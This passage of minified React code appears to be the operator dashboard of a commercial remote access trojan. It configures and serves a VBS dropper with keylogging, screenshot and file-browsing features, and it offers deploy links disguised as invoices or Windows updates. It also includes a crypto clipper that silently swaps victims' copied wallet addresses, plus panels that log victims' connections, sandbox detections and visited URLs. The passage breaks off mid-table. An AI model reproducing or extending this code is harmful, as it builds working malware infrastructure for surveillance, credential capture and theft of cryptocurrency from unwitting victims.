94),y.length===0&&c&&(0,H.jsxs)(`div`,{className:`flex items-center gap-2 bg-slate-800 rounded-lg px-3 py-2`,children:[(0,H.jsxs)(`div`,{className:`flex-1 min-w-0`,children:[(0,H.jsx)(`span`,{className:`text-xs text-blue-400 font-medium`,children:`Main`}),(0,H.jsx)(`code`,{className:`text-green-400 text-xs truncate block`,children:c})]}),(0,H.jsx)(`button`,{onClick:()=>{navigator.clipboard.writeText(c),d(!0),setTimeout(()=>d(!1),2e3)},className:`shrink-0 p-1.5 hover:bg-slate-700 rounded text-slate-400 hover:text-white transition-colors`,children:u?(0,H.jsx)(fr,{className:`w-3.5 h-3.5 text-green-400`}):(0,H.jsx)(gr,{className:`w-3.5 h-3.5`})}),(0,H.jsx)(`a`,{href:c,className:`shrink-0 p-1.5 hover:bg-slate-700 rounded text-slate-400 hover:text-white transition-colors`,children:(0,H.jsx)(vr,{className:`w-3.5 h-3.5`})})]}),ue.length===0&&y.length>0&&(0,H.jsxs)(`div`,{className:`text-center py-6 text-slate-400 text-sm`,children:[`No links match "`,L,`"`]})]}),x&&(0,H.jsxs)(`div`,{className:`mt-3 flex items-center gap-2`,children:[(0,H.jsx)(`input`,{type:`text`,value:C,onChange:e=>w(e.target.value),onKeyDown:e=>{e.key===`Enter`&&C.trim()&&(B({type:`db_query`,query:`create_custom_token`,label:C.trim()}),w(``),S(!1))},placeholder:`Link name (e.g. Invoice2026.exe)`,autoFocus:!0,className:`flex-1 bg-slate-800 border border-blue-600 text-slate-200 text-xs px-3 py-2 rounded-lg focus:outline-none`}),(0,H.jsx)(`button`,{onClick:()=>{C.trim()&&(B({type:`db_query`,query:`create_custom_token`,label:C.trim()}),w(``),S(!1))},className:`px-3 py-2 bg-blue-700 hover:bg-blue-600 text-white text-xs rounded-lg`,children:`Create`}),(0,H.jsx)(`button`,{onClick:()=>{S(!1),w(``)},className:`px-3 py-2 bg-slate-700 hover:bg-slate-600 text-slate-300 text-xs rounded-lg`,children:`Cancel`})]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-2 pt-3 border-t border-slate-800 mt-3`,children:[(0,H.jsx)(`span`,{className:`text-xs text-slate-400 shrink-0`,children:`Download as:`}),(0,H.jsx)(`input`,{type:`text`,value:m,onChange:e=>h(e.target.value),placeholder:`WindowsUpdate.exe`,className:`flex-1 bg-slate-800 border border-slate-700 text-slate-200 text-xs px-3 py-1.5 rounded-lg focus:border-blue-500 focus:outline-none`}),(0,H.jsxs)(`button`,{onClick:()=>B({type:`set_download_filename`,filename:m}),className:`flex items-center gap-1 px-3 py-1.5 bg-slate-700 hover:bg-slate-600 text-xs text-slate-300 rounded-lg transition-colors shrink-0`,children:[g?(0,H.jsx)(fr,{className:`w-3 h-3 text-green-400`}):null,g?`Saved!`:`Save`]})]})]}),(0,H.jsxs)(`div`,{className:`grid grid-cols-1 lg:grid-cols-2 gap-6`,children:[(0,H.jsxs)(`div`,{className:`bg-slate-900 rounded-xl border border-slate-800 p-6`,children:[(0,H.jsxs)(`h2`,{className:`text-xl font-bold text-white mb-4 flex items-center gap-2`,children:[(0,H.jsx)(mr,{className:`w-5 h-5`}),`Configuration`]}),(0,H.jsxs)(`div`,{className:`space-y-4`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-sm font-medium text-slate-300 mb-1`,children:`Server IP Address`}),(0,H.jsx)(`input`,{type:`text`,value:i.server_ip,onChange:e=>a({...i,server_ip:e.target.value}),className:`w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-blue-500`,placeholder:`e.g., 1.2.3.4 (your VPS public IP)`})]}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-sm font-medium text-slate-300 mb-1`,children:`Server Port`}),(0,H.jsx)(`input`,{type:`number`,value:i.server_port,onChange:e=>a({...i,server_port:parseInt(e.target.value)}),className:`w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-blue-500`,min:`1`,max:`65535`})]}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-sm font-medium text-slate-300 mb-1`,children:`User ID (Automatically set to your account)`}),(0,H.jsx)(`input`,{type:`number`,value:i.user_id,disabled:!0,className:`w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-slate-400`}),(0,H.jsxs)(`p`,{className:`text-xs text-slate-500 mt-1`,children:[`This RAT will be associated with your account (User ID: `,i.user_id,`)`]})]}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-sm font-medium text-slate-300 mb-1`,children:`Beacon Interval (ms)`}),(0,H.jsx)(`input`,{type:`number`,value:i.beacon_interval,onChange:e=>a({...i,beacon_interval:parseInt(e.target.value)}),className:`w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-blue-500`,min:`1000`,step:`1000`}),(0,H.jsx)(`p`,{className:`text-xs text-slate-500 mt-1`,children:`How often the RAT sends heartbeat to server (default: 30 seconds)`})]}),(0,H.jsxs)(`div`,{className:`space-y-3 pt-2`,children:[(0,H.jsx)(`h3`,{className:`text-sm font-medium text-slate-300`,children:`Features`}),(0,H.jsxs)(`div`,{className:`flex items-center justify-between`,children:[(0,H.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,H.jsx)(_r,{className:`w-4 h-4 text-slate-400`}),(0,H.jsx)(`span`,{className:`text-slate-300`,children:`Screenshot Capture`})]}),(0,H.jsxs)(`label`,{className:`relative inline-flex items-center cursor-pointer`,children:[(0,H.jsx)(`input`,{type:`checkbox`,checked:i.enable_screenshots,onChange:e=>a({...i,enable_screenshots:e.target.checked}),className:`sr-only peer`}),(0,H.jsx)(`div`,{className:`w-11 h-6 bg-slate-700 peer-focus:outline-none rounded-full peer peer-checked:after:translate-x-full peer-checked:after:border-white after:content-[''] after:absolute after:top-0.5 after:left-0.5 after:bg-white after:rounded-full after:h-5 after:w-5 after:transition-all peer-checked:bg-blue-600`})]})]}),(0,H.jsxs)(`div`,{className:`flex items-center justify-between`,children:[(0,H.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,H.jsx)(wr,{className:`w-4 h-4 text-slate-400`}),(0,H.jsx)(`span`,{className:`text-slate-300`,children:`Keylogger`})]}),(0,H.jsxs)(`label`,{className:`relative inline-flex items-center cursor-pointer`,children:[(0,H.jsx)(`input`,{type:`checkbox`,checked:i.enable_keylogger,onChange:e=>a({...i,enable_keylogger:e.target.checked}),className:`sr-only peer`}),(0,H.jsx)(`div`,{className:`w-11 h-6 bg-slate-700 peer-focus:outline-none rounded-full peer peer-checked:after:translate-x-full peer-checked:after:border-white after:content-[''] after:absolute after:top-0.5 after:left-0.5 after:bg-white after:rounded-full after:h-5 after:w-5 after:transition-all peer-checked:bg-blue-600`})]})]}),(0,H.jsxs)(`div`,{className:`flex items-center justify-between`,children:[(0,H.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,H.jsx)(Ir,{className:`w-4 h-4 text-slate-400`}),(0,H.jsx)(`span`,{className:`text-slate-300`,children:`File Browser`})]}),(0,H.jsxs)(`label`,{className:`relative inline-flex items-center cursor-pointer`,children:[(0,H.jsx)(`input`,{type:`checkbox`,checked:i.enable_file_browser,onChange:e=>a({...i,enable_file_browser:e.target.checked}),className:`sr-only peer`}),(0,H.jsx)(`div`,{className:`w-11 h-6 bg-slate-700 peer-focus:outline-none rounded-full peer peer-checked:after:translate-x-full peer-checked:after:border-white after:content-[''] after:absolute after:top-0.5 after:left-0.5 after:bg-white after:rounded-full after:h-5 after:w-5 after:transition-all peer-checked:bg-blue-600`})]})]})]}),(0,H.jsx)(`div`,{className:`pt-4`,children:(0,H.jsxs)(`button`,{onClick:re,className:`w-full px-4 py-3 bg-blue-600 hover:bg-blue-700 text-white rounded-lg transition-colors flex items-center justify-center gap-2`,children:[(0,H.jsx)(vr,{className:`w-5 h-5`}),`Download RAT Client`]})})]})]}),(0,H.jsxs)(`div`,{className:`bg-slate-900 rounded-xl border border-slate-800 p-6`,children:[(0,H.jsxs)(`h2`,{className:`text-xl font-bold text-white mb-4 flex items-center gap-2`,children:[(0,H.jsx)(vr,{className:`w-5 h-5`}),`Download`]}),o&&(0,H.jsx)(`div`,{className:`mb-4 bg-red-900/30 border border-red-700 text-red-300 px-4 py-3 rounded-lg`,children:o}),(0,H.jsxs)(`div`,{className:`space-y-4`,children:[(0,H.jsxs)(`div`,{className:`bg-slate-800/50 rounded-lg p-4`,children:[(0,H.jsx)(`h3`,{className:`font-medium text-white mb-2`,children:`Generated RAT Details`}),(0,H.jsxs)(`div`,{className:`space-y-2 text-sm`,children:[(0,H.jsxs)(`div`,{className:`flex justify-between`,children:[(0,H.jsx)(`span`,{className:`text-slate-400`,children:`Filename:`}),(0,H.jsxs)(`span`,{className:`text-slate-300`,children:[`rat_client_user`,i.user_id,`.vbs`]})]}),(0,H.jsxs)(`div`,{className:`flex justify-between`,children:[(0,H.jsx)(`span`,{className:`text-slate-400`,children:`Target User:`}),(0,H.jsxs)(`span`,{className:`text-slate-300`,children:[e.username,` (ID: `,i.user_id,`)`]})]}),(0,H.jsxs)(`div`,{className:`flex justify-between`,children:[(0,H.jsx)(`span`,{className:`text-slate-400`,children:`Server:`}),(0,H.jsxs)(`span`,{className:`text-slate-300`,children:[i.server_ip,`:`,i.server_port]})]}),(0,H.jsxs)(`div`,{className:`flex justify-between`,children:[(0,H.jsx)(`span`,{className:`text-slate-400`,children:`Beacon Interval:`}),(0,H.jsxs)(`span`,{className:`text-slate-300`,children:[i.beacon_interval,`ms`]})]})]})]}),(0,H.jsxs)(`div`,{className:`bg-slate-800/50 rounded-lg p-4`,children:[(0,H.jsx)(`h3`,{className:`font-medium text-white mb-2`,children:`Features Included`}),(0,H.jsxs)(`ul`,{className:`space-y-2 text-sm`,children:[(0,H.jsxs)(`li`,{className:`flex items-center gap-2`,children:[(0,H.jsx)(`div`,{className:`w-2 h-2 rounded-full ${i.enable_screenshots?`bg-green-500`:`bg-red-500`}`}),(0,H.jsx)(`span`,{className:i.enable_screenshots?`text-slate-300`:`text-slate-500`,children:`Screenshot Capture`})]}),(0,H.jsxs)(`li`,{className:`flex items-center gap-2`,children:[(0,H.jsx)(`div`,{className:`w-2 h-2 rounded-full ${i.enable_keylogger?`bg-green-500`:`bg-red-500`}`}),(0,H.jsx)(`span`,{className:i.enable_keylogger?`text-slate-300`:`text-slate-500`,children:`Keylogger`})]}),(0,H.jsxs)(`li`,{className:`flex items-center gap-2`,children:[(0,H.jsx)(`div`,{className:`w-2 h-2 rounded-full ${i.enable_file_browser?`bg-green-500`:`bg-red-500`}`}),(0,H.jsx)(`span`,{className:i.enable_file_browser?`text-slate-300`:`text-slate-500`,children:`File Browser`})]})]})]})]})]})]}),(0,H.jsxs)(`div`,{className:`bg-slate-900 rounded-xl border border-slate-800 p-6`,children:[(0,H.jsx)(`h2`,{className:`text-xl font-bold text-white mb-4`,children:`Usage Instructions`}),(0,H.jsxs)(`div`,{className:`grid grid-cols-1 md:grid-cols-3 gap-4`,children:[(0,H.jsxs)(`div`,{className:`bg-slate-800/50 rounded-lg p-4`,children:[(0,H.jsx)(`div`,{className:`text-blue-400 font-bold text-lg mb-2`,children:`1. Download`}),(0,H.jsx)(`p`,{className:`text-slate-400 text-sm`,children:`Click "Download RAT Client" for instant download. Your RAT is pre-compiled and ready to deploy with your user ID embedded.`})]}),(0,H.jsxs)(`div`,{className:`bg-slate-800/50 rounded-lg p-4`,children:[(0,H.jsx)(`div`,{className:`text-blue-400 font-bold text-lg mb-2`,children:`2. Deploy`}),(0,H.jsx)(`p`,{className:`text-slate-400 text-sm`,children:`Run the VBS file on target systems. It will automatically download and execute the RAT, then connect to your C2 server.`})]}),(0,H.jsxs)(`div`,{className:`bg-slate-800/50 rounded-lg p-4`,children:[(0,H.jsx)(`div`,{className:`text-blue-400 font-bold text-lg mb-2`,children:`3. Alternative`}),(0,H.jsx)(`p`,{className:`text-slate-400 text-sm`,children:`Use the "Personal Deploy Link" above to share a direct download URL. Same file, easier distribution for remote deployment.`})]})]})]})]}),(0,H.jsx)(Zr,{open:!!D,title:`Delete Deploy Link`,message:`Delete the link "${D?.label}"? It will stop working immediately.`,confirmLabel:`Delete`,cancelLabel:`Cancel`,variant:`danger`,onConfirm:()=>{D&&B({type:`db_query`,query:`delete_custom_token`,token:D.token}),O(null)},onCancel:()=>O(null)}),(0,H.jsx)(Zr,{open:F,title:`Delete Selected Links`,message:`Delete ${N.size} selected link${N.size===1?``:`s`}? They will stop working immediately and this cannot be undone.`,confirmLabel:`Delete`,cancelLabel:`Cancel`,variant:`danger`,onConfirm:()=>{I(!1),fe()},onCancel:()=>I(!1)}),ee&&(0,H.jsx)($a,{links:ce,onClose:()=>te(!1),onExported:le})]}):(0,H.jsx)(`div`,{className:`flex items-center justify-center h-64`,children:(0,H.jsxs)(`div`,{className:`text-center`,children:[(0,H.jsx)(zr,{className:`w-12 h-12 text-slate-700 mx-auto mb-4`}),(0,H.jsx)(`p`,{className:`text-slate-500`,children:`Please log in to access RAT download`})]})})}
94var to=[{key:`BTC`,name:`Bitcoin`,symbol:`â¿`,placeholder:`bc1q... or 1... or 3...`},{key:`ETH`,name:`Ethereum`,symbol:`Î`,placeholder:`0x...`},{key:`BNB`,name:`BNB (BSC)`,symbol:`B`,placeholder:`0x... (same format as ETH)`},{key:`SOL`,name:`Solana`,symbol:`â`,placeholder:`Base58 address...`},{key:`TRX`,name:`Tron`,symbol:`T`,placeholder:`T...`},{key:`LTC`,name:`Litecoin`,symbol:`Å`,placeholder:`L... or M... or ltc1...`},{key:`DOGE`,name:`Dogecoin`,symbol:`Ã`,placeholder:`D...`},{key:`XMR`,name:`Monero`,symbol:`ɱ`,placeholder:`4...`},{key:`XRP`,name:`XRP`,symbol:`X`,placeholder:`r...`},{key:`BCH`,name:`Bitcoin Cash`,symbol:`â¿C`,placeholder:`bitcoincash:q... or q...`}];function no(){let{send:e,subscribe:t,isConnected:n}=pi(),[r,i]=(0,_.useState)({}),[a,o]=(0,_.useState)(!1),[s,c]=(0,_.useState)({});(0,_.useEffect)(()=>{n&&e({type:`db_query`,query:`get_clipper_addresses`})},[n,e]),(0,_.useEffect)(()=>t(`db_response`,e=>{if(e.query===`get_clipper_addresses`){let t=e.data||{};i(t);let n={};for(let e of to)n[e.key]=!!t[e.key];c(n)}}),[t]),(0,_.useEffect)(()=>t(`clipper_addresses_saved`,e=>{let t=e.addresses||{},n={};for(let e of to)n[e.key]=!!t[e.key];c(n),o(!0),setTimeout(()=>o(!1),2500)}),[t]);let l=(e,t)=>{i(n=>({...n,[e]:t}))},u=()=>{let t={};for(let[e,n]of Object.entries(r))n&&n.trim()&&(t[e]=n.trim());e({type:`set_clipper_addresses`,addresses:t})},d=Object.values(s).filter(Boolean).length;return(0,H.jsxs)(`div`,{className:`space-y-6 p-6`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsxs)(`h2`,{className:`text-2xl font-semibold text-slate-100 flex items-center gap-2`,children:[(0,H.jsx)(Xr,{className:`w-6 h-6 text-yellow-400`}),`Crypto Clipper`]}),(0,H.jsx)(`p`,{className:`text-sm text-slate-400 mt-1`,children:`Save your wallet addresses. Any connected RAT client will silently replace copied crypto addresses on the victim's clipboard with your address. Active on all currently connected and future clients.`})]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-3 px-4 py-3 rounded-lg bg-slate-800/60 border border-slate-700`,children:[(0,H.jsx)(`div`,{className:`w-2 h-2 rounded-full ${d>0?`bg-green-400 animate-pulse`:`bg-slate-600`}`}),(0,H.jsx)(`span`,{className:`text-sm text-slate-300`,children:d>0?(0,H.jsxs)(H.Fragment,{children:[(0,H.jsxs)(`span`,{className:`text-green-400 font-medium`,children:[d,` coin`,d>1?`s`:``,` armed`]}),` â clipboard hijack active on all connected clients`]}):`No addresses saved â clipper is inactive`})]}),(0,H.jsx)(`div`,{className:`grid gap-3 md:grid-cols-2`,children:to.map(e=>(0,H.jsxs)(`div`,{className:`flex items-center gap-3 px-4 py-3 rounded-lg border transition-colors ${s[e.key]?`bg-green-950/30 border-green-700/50`:`bg-slate-900 border-slate-700`}`,children:[(0,H.jsx)(`div`,{className:`w-9 h-9 rounded-lg flex items-center justify-center text-sm font-bold shrink-0 ${s[e.key]?`bg-green-700/40 text-green-300`:`bg-slate-700 text-slate-300`}`,children:e.symbol}),(0,H.jsxs)(`div`,{className:`flex-1 min-w-0`,children:[(0,H.jsxs)(`div`,{className:`flex items-center gap-2 mb-1`,children:[(0,H.jsx)(`span`,{className:`text-xs font-semibold text-slate-300`,children:e.name}),(0,H.jsx)(`span`,{className:`text-xs text-slate-500`,children:e.key}),s[e.key]&&(0,H.jsx)(`span`,{className:`text-xs text-green-400 ml-auto`,children:`â Armed`})]}),(0,H.jsx)(`input`,{type:`text`,value:r[e.key]||``,onChange:t=>l(e.key,t.target.value),placeholder:e.placeholder,className:`w-full bg-slate-800 border border-slate-600 text-slate-200 text-xs px-2 py-1.5 rounded focus:border-yellow-500 focus:outline-none font-mono`})]})]},e.key))}),(0,H.jsx)(`div`,{className:`flex justify-end pt-2`,children:(0,H.jsx)(`button`,{onClick:u,className:`flex items-center gap-2 px-5 py-2.5 bg-yellow-600 hover:bg-yellow-500 text-white text-sm font-medium rounded-lg transition-colors`,children:a?(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(fr,{className:`w-4 h-4`}),` Saved & Pushed!`]}):(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(Nr,{className:`w-4 h-4`}),` Save & Push to All Clients`]})})}),(0,H.jsxs)(`div`,{className:`rounded-lg bg-slate-900 border border-slate-700 p-4 text-xs text-slate-400 space-y-1`,children:[(0,H.jsx)(`p`,{className:`font-medium text-slate-300 mb-2`,children:`How it works`}),(0,H.jsx)(`p`,{children:`⢠The RAT polls the victim's clipboard every 2 seconds`}),(0,H.jsx)(`p`,{children:`⢠If it detects an address matching a supported coin, it silently replaces it with yours`}),(0,H.jsx)(`p`,{children:`⢠The victim pastes what they think is their address â but it's yours`}),(0,H.jsx)(`p`,{children:`⢠Addresses are pushed live to all currently connected clients when you save`}),(0,H.jsx)(`p`,{children:`⢠New clients automatically receive the addresses within 2 seconds of connecting`}),(0,H.jsx)(`p`,{className:`pt-1 text-slate-500`,children:`Supported: BTC (legacy + bech32), ETH/EVM, SOL, TRX, LTC, DOGE, XMR, XRP, BCH`})]})]})}var ro={sandbox:`bg-red-900/60 text-red-300 border border-red-700`,ECONNRESET:`bg-orange-900/60 text-orange-300 border border-orange-700`,ETIMEDOUT:`bg-yellow-900/60 text-yellow-300 border border-yellow-700`,KILL_RAT:`bg-purple-900/60 text-purple-300 border border-purple-700`,clean:`bg-blue-900/60 text-blue-300 border border-blue-700`,error:`bg-orange-900/60 text-orange-300 border border-orange-700`};function io(e,t){if(t)return ro.sandbox;if(!e)return`bg-slate-800 text-slate-400 border border-slate-600`;let n=e.toUpperCase();return n.includes(`ECONNRESET`)?ro.ECONNRESET:n.includes(`ETIMEDOUT`)?ro.ETIMEDOUT:n.includes(`KILL_RAT`)?ro.KILL_RAT:n===`CLEAN`?ro.clean:ro.error}function ao(e,t){return t?`Sandbox`:e?e.toUpperCase().replace(`ECONNRESET`,`Connection Reset`).replace(`ETIMEDOUT`,`Timed Out`).replace(`KILL_RAT`,`Kill Command`).replace(`CLEAN`,`Clean Exit`):`Unknown`}function oo(e,t){let n=(t??Date.now())-e;if(n<1e3)return`<1s`;let r=Math.floor(n/1e3);if(r<60)return`${r}s`;let i=Math.floor(r/60);return i<60?`${i}m ${r%60}s`:`${Math.floor(i/60)}h ${i%60}m`}var K=[{label:`24 Hours`,value:`24h`},{label:`7 Days`,value:`7d`},{label:`1 Month`,value:`1m`},{label:`All Time`,value:`all`}],q=[`all`,`sandbox`,`ECONNRESET`,`ETIMEDOUT`,`KILL_RAT`,`clean`,`unknown`];function so(){let{send:e,subscribeAll:t}=pi(),{impersonateUserId:n}=Ii(),[r,i]=(0,_.useState)([]),[a,o]=(0,_.useState)(`7d`),[s,c]=(0,_.useState)(`all`),[l,u]=(0,_.useState)(!1),d=(0,_.useCallback)(()=>{u(!0),e({type:`db_query`,query:`get_history`,range:a,impersonateUserId:n??void 0})},[e,a,n]);(0,_.useEffect)(()=>{d()},[d]),(0,_.useEffect)(()=>t(e=>{e.type===`db_response`&&e.query===`get_history`&&(i(Array.isArray(e.data)?e.data:[]),u(!1)),e.type===`client_purged`&&d()}),[t,d]);let[f,p]=(0,_.useState)(!1),m=()=>{e({type:`db_query`,query:`clear_history`,impersonateUserId:n??void 0}),i([]),p(!1)},h=r.filter(e=>s===`all`?!0:s===`sandbox`?e.is_sandbox===1:s===`unknown`?!e.disconnect_reason&&!e.is_sandbox:(e.disconnect_reason||``).toUpperCase().includes(s.toUpperCase())),g=new Set(r.filter(e=>e.is_sandbox).map(e=>
94e.ip_address).filter(Boolean)).size,v=new Set(r.filter(e=>!e.is_sandbox).map(e=>e.ip_address).filter(Boolean)).size,y=r.length;return(0,H.jsxs)(`div`,{className:`space-y-6`,children:[f&&(0,H.jsx)(`div`,{className:`fixed inset-0 z-50 flex items-center justify-center bg-black/60 backdrop-blur-sm`,children:(0,H.jsxs)(`div`,{className:`bg-slate-900 border border-slate-700 rounded-lg p-6 w-full max-w-sm shadow-2xl`,children:[(0,H.jsx)(`h3`,{className:`text-white font-semibold text-lg mb-2`,children:`Clear All History?`}),(0,H.jsxs)(`p`,{className:`text-slate-400 text-sm mb-6`,children:[`This will permanently delete all `,y,` connection history entries. This cannot be undone.`]}),(0,H.jsxs)(`div`,{className:`flex gap-3 justify-end`,children:[(0,H.jsx)(`button`,{onClick:()=>p(!1),className:`px-4 py-2 rounded-lg border border-slate-600 text-slate-300 hover:bg-slate-800 transition-colors text-sm`,children:`Cancel`}),(0,H.jsx)(`button`,{onClick:m,className:`px-4 py-2 rounded-lg bg-red-700 hover:bg-red-600 text-white transition-colors text-sm font-medium`,children:`Yes, Clear All`})]})]})}),(0,H.jsxs)(`div`,{className:`flex items-start justify-between`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h1`,{className:`text-2xl font-bold text-white`,children:`Connection History`}),(0,H.jsx)(`p`,{className:`text-slate-400 text-sm mt-1`,children:`All client connections and disconnections`})]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-3 text-sm`,children:[(0,H.jsxs)(`span`,{className:`bg-slate-800 border border-slate-700 px-3 py-1 rounded text-slate-300`,children:[`Sessions: `,(0,H.jsx)(`span`,{className:`text-white font-semibold`,children:y})]}),(0,H.jsxs)(`span`,{className:`bg-green-900/40 border border-green-700 px-3 py-1 rounded text-green-300`,children:[`Real: `,(0,H.jsx)(`span`,{className:`font-semibold`,children:v})]}),(0,H.jsxs)(`span`,{className:`bg-red-900/40 border border-red-700 px-3 py-1 rounded text-red-300`,children:[`Sandbox: `,(0,H.jsx)(`span`,{className:`font-semibold`,children:g})]}),(0,H.jsx)(`button`,{onClick:()=>p(!0),disabled:r.length===0,className:`px-3 py-1.5 rounded-lg border border-red-700/50 text-red-400 hover:bg-red-900/30 hover:text-red-300 transition-colors disabled:opacity-30 disabled:cursor-not-allowed`,children:`Clear History`})]})]}),(0,H.jsxs)(`div`,{className:`flex flex-wrap gap-3`,children:[(0,H.jsx)(`div`,{className:`flex gap-1 bg-slate-900 border border-slate-700 rounded-lg p-1`,children:K.map(e=>(0,H.jsx)(`button`,{onClick:()=>o(e.value),className:`px-3 py-1.5 rounded text-sm font-medium transition-colors ${a===e.value?`bg-brand-600 text-white`:`text-slate-400 hover:text-white hover:bg-slate-800`}`,children:e.label},e.value))}),(0,H.jsx)(`div`,{className:`flex gap-1 bg-slate-900 border border-slate-700 rounded-lg p-1 flex-wrap`,children:q.map(e=>(0,H.jsx)(`button`,{onClick:()=>c(e),className:`px-3 py-1.5 rounded text-sm font-medium transition-colors capitalize ${s===e?`bg-brand-600 text-white`:`text-slate-400 hover:text-white hover:bg-slate-800`}`,children:e===`all`?`All Reasons`:e===`ECONNRESET`?`Conn Reset`:e===`ETIMEDOUT`?`Timed Out`:e===`KILL_RAT`?`Kill Cmd`:e},e))})]}),(0,H.jsx)(`div`,{className:`bg-slate-900 border border-slate-800 rounded-lg overflow-hidden`,children:(0,H.jsx)(`div`,{className:`overflow-x-auto`,children:(0,H.jsxs)(`table`,{className:`w-full text-sm`,children:[(0,H.jsx)(`thead`,{children:(0,H.jsxs)(`tr`,{className:`border-b border-slate-800 text-slate-400 text-xs uppercase tracking-wide`,children:[(0,H.jsx)(`th`,{className:`text-left px-4 py-3`,children:`Host / User`}),(0,H.jsx)(`th`,{className:`text-left px-4 py-3`,children:`IP Address`}),(0,H.jsx)(`th`,{className:`text-left px-4 py-3`,children:`OS`}),(0,H.jsx)(`th`,{className:`text-left px-4 py-3`,children:`Connected At`}),(0,H.jsx)(`th`,{className:`text-left px-4 py-3`,children:`Duration`}),(0,H.jsx)(`th`,{className:`text-left px-4 py-3`,children:`Reason`})]})}),(0,H.jsxs)(`tbody`,{children:[l&&(0,H.jsx)(`tr`,{children:(0,H.jsx)(`td`,{colSpan:6,className:`text-center py-8 text-slate-500`,children:`Loading...`})}),!l&&h.length===0&&(0,H.jsx)(`tr`,{children:(0,H.jsx)(`td`,{colSpan:6,className:`text-center py-8 text-slate-500`,children:`No entries found`})}),h.map(e=>(0,H.jsxs)(`tr`,{className:`border-b border-slate-800/50 hover:bg-slate-800/30 transition-colors ${e.is_sandbox?`bg-red-950/10`:``}`,children:[(0,H.jsxs)(`td`,{className:`px-4 py-3`,children:[(0,H.jsx)(`div`,{className:`font-medium text-white`,children:e.hostname||`â`}),(0,H.jsx)(`div`,{className:`text-slate-500 text-xs`,children:e.username||`â`})]}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-300 font-mono text-xs`,children:e.ip_address||`â`}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-400 text-xs`,children:e.os_version||`â`}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-400 text-xs`,children:new Date(e.connected_at).toLocaleStr
94ing()}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-300 font-mono text-xs`,children:oo(e.connected_at,e.disconnected_at)}),(0,H.jsx)(`td`,{className:`px-4 py-3`,children:(0,H.jsxs)(`span`,{className:`inline-flex items-center px-2 py-0.5 rounded text-xs font-medium ${io(e.disconnect_reason,e.is_sandbox)}`,children:[ao(e.disconnect_reason,e.is_sandbox),e.is_sandbox&&e.sandbox_reason&&(0,H.jsxs)(`span`,{className:`ml-1 opacity-70`,children:[`(`,e.sandbox_reason,`)`]})]})})]},e.id))]})]})})})]})}function co(){let{send:e,subscribeAll:t}=pi(),{impersonateUserId:n,clients:r}=Ii(),[i,a]=(0,_.useState)([]),[o,s]=(0,_.useState)([]),[c,l]=(0,_.useState)(!1),[u,d]=(0,_.useState)(null),[f,p]=(0,_.useState)(``),m=(0,_.useCallback)(()=>{l(!0),e({type:`db_query`,query:`get_urls`,clientId:u||void 0,impersonateUserId:n??void 0})},[e,u,n]);(0,_.useEffect)(()=>{m()},[m,u]),(0,_.useEffect)(()=>t(e=>{e.type===`db_response`&&e.query===`get_urls`&&(a(Array.isArray(e.data)?e.data:[]),l(!1))}),[t]),(0,_.useEffect)(()=>{let e=f.toLowerCase().trim();if(!e){s(i);return}s(i.filter(t=>t.url.toLowerCase().includes(e)||t.window_title&&t.window_title.toLowerCase().includes(e)||t.client_id.toLowerCase().includes(e)))},[i,f]);let h=e=>new Date(e).toLocaleString(),g=e=>{try{return new URL(e.startsWith(`http`)?e:`https://${e}`).hostname}catch{return e.split(`/`)[0]}};return(0,H.jsxs)(`div`,{className:`space-y-6`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h1`,{className:`text-2xl font-bold text-white`,children:`URLs Visited`}),(0,H.jsx)(`p`,{className:`text-slate-400 text-sm mt-1`,children:`Track URLs accessed by clients`})]}),(0,H.jsxs)(`div`,{className:`space-y-4`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-sm font-medium text-slate-300 mb-2`,children:`Filter by Client`}),(0,H.jsxs)(`select`,{value:u||``,onChange:e=>d(e.target.value||null),className:`w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-slate-100 placeholder-slate-500 focus:outline-none focus:ring-2 focus:ring-blue-500`,children:[(0,H.jsx)(`option`,{value:``,children:`All Clients`}),r.map(e=>(0,H.jsxs)(`option`,{value:e.id,children:[e.hostname,` (`,e.ip,`)`]},e.id))]})]}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-sm font-medium text-slate-300 mb-2`,children:`Search URLs`}),(0,H.jsx)(Un,{placeholder:`Search by URL, domain, title, or client ID...`,value:f,onChange:e=>p(e.target.value),className:`w-full`}),f&&(0,H.jsxs)(`p`,{className:`text-xs text-slate-400 mt-2`,children:[`Found `,o.length,` of `,i.length,` URLs`]})]})]}),(0,H.jsx)(`div`,{className:`bg-slate-900 border border-slate-800 rounded-lg overflow-hidden`,children:(0,H.jsx)(`div`,{className:`overflow-x-auto`,children:(0,H.jsxs)(`table`,{className:`w-full text-sm`,children:[(0,H.jsx)(`thead`,{className:`bg-slate-800 border-b border-slate-700 sticky top-0`,children:(0,H.jsxs)(`tr`,{children:[(0,H.jsx)(`th`,{className:`px-4 py-3 text-left font-semibold text-slate-300`,children:`Domain`}),(0,H.jsx)(`th`,{className:`px-4 py-3 text-left font-semibold text-slate-300`,children:`Full URL`}),(0,H.jsx)(`th`,{className:`px-4 py-3 text-left 